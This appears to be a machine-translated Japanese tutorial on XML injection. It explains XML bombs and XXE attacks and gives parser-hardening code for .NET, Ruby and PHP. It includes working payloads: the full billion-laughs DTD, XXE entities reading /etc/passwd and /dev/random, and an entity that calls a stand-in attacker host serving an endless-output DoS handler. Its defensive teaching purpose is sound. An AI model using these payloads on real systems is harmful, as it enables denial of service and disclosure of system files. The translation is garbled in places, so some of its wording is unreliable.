Webサービスセキュリティ:XML注入


XMLとは何か:定義と詳細


XMLは拡張可能なマークアップ言語、SGML(HTMLにも基づいている)の派生物を表し、人間の読みやすいテキストとして構造化データオブジェクトを表現するために使用されます.XMLはデータの格納と送信のためのフォーマットとして設計されています.XMLは、それがどのようにデータを整理し、表現を定義することによって任意のアプリケーションのために調整することができるようにカスタマイズ可能です.
以下は単純なXMLファイルの例です.
<?xml version="1.0" encoding="UTF-8"?>
<message>
  <to>receiver</to>
  <from>sender</from>
  <body>data</body>
</message>
テキストファイルの最初の行は、XMLドキュメントとしてファイルを識別し、Unicode“UTF - 8”文字としてエンコードされることを宣言します.最善の練習として、すべてのXMLファイルは、そのような識別から始めなければなりません.
すべてのアプリケーションはこの例のようなXMLテキストを消費する標準パーサーライブラリを使用するべきです.パーサは、構築されたテキストファイルストリームを、アプリケーションのソースの構文的詳細を直接処理するデータのツリー構造表現に変換します.上の例では、XMLパーサーが次のようにデータ構造を作成します

木構造を使用して、ソフトウェアは簡単にルート要素(メッセージ)を識別することができて、それが3つの期待されたサブ要素を持ってよく形成されることができます.
アプリケーションは、XMLの上に設計されている標準的なフォーマットの数だけでなく、カスタムデータ表現のすべての方法のための便利なデータ形式としてXMLを使用します.以下の種類のデータを扱う場合(ここでリストすることができますが、多くの場合も同様に)、カバーの下でXMLパーサーが実行されている可能性がありますので、これらのセキュリティ問題は非常によく適用される可能性があります.
同様に、以下に限定されないXMLに基づく他の多くのデータ形式があります.
  • ソープ
  • .NET設定ファイル
  • Websphereトレースファイル
  • WDSL
  • RSS
  • SVG
  • XML注入攻撃:共通タイプ


    次の攻撃は、XML入力を解析するアプリケーションに適用できます.
    具体的には、攻撃者はXMLパーサをトリミングする意図でアプリケーションが消費する不正なXMLを作成します.
    バグを持つXMLパーサ、あるいは間違って設定されていて、したがって操作に弱いので、一般的に2種類の攻撃を受けやすい.
  • XML爆弾(10億笑攻撃):XMLパーサーが特定の入力データを与えられて不正にクラッシュまたは実行される可能性があります.
  • XXE Discovery(XML外部エンティティ):XMLパーサーは機密情報を誤ってリークする可能性があります.
  • Keep in mind that attacks may utilize perfectly valid XML, or possibly malformed XML (unless the parser strictly detects and rejects it safely).


    XML爆弾攻撃


    XML爆弾は有効なXMLであるかもしれませんが、XMLパーサーを引き起こすように設計されています、あるいは、アプリケーションはその出力を処理して、ハングアップするか、または実行を実行します.
    たとえば、XMLの構文解析の下で3ギガバイトのデータに展開する短いXMLファイルで構成されている10億の笑い攻撃を考えてみましょう.大規模な結果として得られるデータは、典型的にはどんなアプリケーションでもクラッシュし、データサイズを任意にスケーリングすることができます.
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
      <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
      <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
      <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
      <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
      <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
      <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
    
    同様の攻撃のもう一つの例は二次の爆破攻撃です.そして、それは速く2.5ギガバイトに拡大することもできます.

    The “...” symbol replaces more repetitions below.


    <?xml version="1.0"?>
    <!DOCTYPE kaboom [
      <!ENTITY a "aaaaaaaaaaaaaaaaaa...">
    ]>
    <kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
    

    XML爆弾の緩和


    XML爆弾を避けるための最良の方法は、アプリケーションのエンティティのインライン展開を無効にするには、XMLパーサーを構成するためです.インライン拡大なしで、サイズ増加は攻撃者に利用できません、そして、これらの攻撃は無害にされます.
    アプリケーションがエンティティ展開を必要とする場合、またはXMLパーサーがこの設定オプションを提供しない場合は、パーサに拡張エンティティのサイズに制限を適用するように設定します.
    ここでは標準のサンプルコードです.インラインのDTDを無効にするためのNET 4.0 XMLパーサー
    XmlReaderSettings settings = new XmlReaderSettings();
    settings.DtdProcessing = DtdProcessing.Prohibit;
    XmlReader reader = XmlReader.Create(stream, settings);
    
    この構成では、XML爆弾のどちらも過度のメモリ消費をもたらすことはありません.
    データのギガバイトの代わりに、データ構造体は、ソースXMLで表現されるエンティティ展開の構造を示します.

    If the application needed the expanded form of the relevant entity it would have to construct it directly and in the process have the appropriate checks to avoid causing the Denial of Service itself.


    エンティティのサイズが制限されている場合、XML爆弾が解析された場合、この制限を超えてXMLパーサーがサービス拒否の代わりに例外をスローします.当然、有効な用途の有用な機能を損なわないように制限を設定しなければならない.
    以下はRubyのReXMLパーサーの例です.
    REXML::Document.entity_expansion_limit = 0
    
    結果のサイズがゼロを超えるため、この設定でエンティティ展開は許可されません.

    XML外部エンティティ( XXE )攻撃


    アプリケーションを攻撃するのに使用できるXMLの1つの機能は外部エンティティです.外部エンティティへの参照を含むXML入力を提供することで、攻撃者はXMLパーサーに参照されたデータを読み取り、結果のXMLデータに処理することができます.XML外部エンティティは外部のURIから値置換を引く方法であり、ネットワークリソースと同様にファイルにアクセスすることができます.結果のデータを公開するためのパスがある場合、攻撃者はXMLパーサプロセスのアクセス権限を利用してデータを元に管理することができます.あるいは、非常に大きいデータ源を参照することによって、これもサービス拒否に至ることができます.
    たとえば、ファイル/dev/randomを参照するXML入力を考えます.XMLパーサーはファイルの終端まで外部エンティティからデータを読み込みますので、最終的には失敗してシステムをオーバーロードしてデータを構築します.
    <!ENTITY xxe SYSTEM "file:///dev/random" >
    
    情報公開の例は、ファイル/etc/passwd、古典的なUnixシステムのユーザログオン情報のファイルを参照するXML入力であるかもしれません.
    近代的なシステムはもはやパスワード情報を格納しませんが、このファイルは、ユーザー名と個人的な連絡先情報を潜在的に含んでいます.
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
    
    次の例では、どのように攻撃者がXXE攻撃を通じてサービス拒否を達成できるかを確認します.この場合、XXEエンティティはDOSの実行結果に置き換えられます.アッシックス.下記のDOSを見ることができます.ASXXプログラムは無限ループで出力を生成するので、XXE実体は無期限に成長し続けるでしょう.
    その無限ループに加えて、攻撃者はプログラムDOSを実行する.別のマシンでASCXでは、DOSはそのマシンにも影響します.

    ASHX file extension is an ASP.NET Web Handler file that often holds references to other web pages used in an ASP.NET web server application.


    <!ENTITY xxe SYSTEM "http://www.attacker.com/dos.ashx" >
    
    // dos.ashx
    public void ProcessRequest(HttpContext context) {
      context.Response.ContentType = "text/plain";
      byte[] data = new byte[1000000];
    
      for (int i = 0; i<data.Length; i++)
        data[i] = (byte)’A’;
      while (true) {
        context.Response.OutputStream.Write(data, 0, data.Length);
        context.Response.Flush();
      }
    }
    
    

    XXE攻撃の軽減


    最も簡単な方法は、外部参照を完全に解決するのを避けるためにXMLパーサーを設定することです.NET 4.0とPHP :
    XmlReaderSettings settings = new XmlReaderSettings();
    settings.XmlResolver = null;
    XmlReader reader = XmlReader.Create(stream, settings);
    
    libxml_disable_entity_loader(true);
    
    もちろん、XML外部エンティティは有用であるか、重要でさえあります.そして、その場合、機能は完全に機能を無効にします.これらのケースでは、これらの方法の1つ以上を適用するために、XMLパーサを変更したり、必要に応じて設定を検討します.
  • は、遅れているか非常に大きいデータボリューム攻撃を防ぐタイムアウトを実施します.
  • は、取得することができるデータのタイプと量を制限します.
  • ローカルホスト上のリソースを取得するXmlResolverを制限します.
  • まとめ


    XML攻撃は、特別に細工されたXML入力を解析するアプリケーションが害を引き起こすときに起こります.
    つのよく知られた攻撃は、XML爆弾(サービス拒否)、XXEまたはXML外部エンティティ(情報公開またはサービス拒否)です.
    好ましい緩和は、上記のようにこれらの問題を引き起こすXMLの機能を無効にするか、少なくとも安全に制限するXMLパーサーの構成です.構成が十分でないとき、XMLパーサーは修正を必要とします、しかし、これはより危険で労働集約的な方法です.